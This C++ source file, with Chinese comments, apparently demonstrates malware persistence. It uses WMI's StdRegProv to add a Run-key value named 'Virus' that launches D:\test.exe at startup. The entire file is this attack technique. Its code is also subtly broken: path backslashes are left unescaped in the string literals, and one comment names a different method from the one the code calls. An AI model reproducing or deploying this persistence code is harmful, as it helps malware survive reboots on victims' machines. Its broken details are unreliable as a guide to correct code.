1 #include<iostream>
2 #include<comutil.h>
3 #include<WbemIdl.h>
4 #include<tchar.h>
5 #include<Exdisp.h>
6 #include<Winhttp.h>
7
8 #pragma comment(lib,"Wbemuuid.lib")
9 #pragma comment(lib,"comsuppw.lib")
10
11 int _tmain(int argc, _TCHAR* argv[])
12 {
13 //初始化
14 HRESULT hres = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
15 if (FAILED(hres))
16 {
17 return 0;
18 }
19
20 //实例化
21 IWbemLocator *pLoc = NULL;
22 hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc);
23 if (FAILED(hres))
24 {
25 CoUninitialize();
26 return 0;
27 }
28
29 //连接到命名空间
30 IWbemServices *pSvc = NULL;
31 pLoc->ConnectServer(L"root\default", NULL, NULL, 0, NULL, 0, 0, &pSvc);
32
33 CoSetProxyBlanket(pSvc, 10, 0, 0, 3, 3, 0, 0);
34
35 pLoc->Release();
36
37 //获取对象StdRegProv
38 IWbemClassObject *pObject = NULL;
39 pSvc->GetObjectW(L"StdRegProv", 0, 0, &pObject, 0);
40
41 //获取方法SetDWORDValue
42 IWbemClassObject *pInSignature = NULL;
43 pObject->GetMethod(L"SetStringValue", 0, &pInSignature, 0);
44
45 //设置注册表项
46 _variant_t var1(L"2147483650");
47 pInSignature->Put(L"hDefKey", 0, &var1, CIM_UINT32);
48
49 //设置路径
50 _variant_t var2(L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
51 pInSignature->Put(L"sSubKeyName", 0, &var2, CIM_STRING);
52
53 //设置项名
54 _variant_t var3(L"Virus");
55 pInSignature->Put(L"sValueName", 0, &var3, CIM_STRING);
56
57 //设置值
58 _variant_t var4(L"D:\test.exe");
59 pInSignature->Put(L"sValue", 0, &var4, CIM_STRING);
60
61 IWbemClassObject *pOutParams = NULL;
62 pSvc->ExecMethod(L"StdRegProv", L"SetStringValue", 0, 0, pInSignature, &pOutParams, 0);
63
64 pInSignature->Release();
65
66 pObject->Release();
67
68 pSvc->Release();
69
70 return 0;
71 }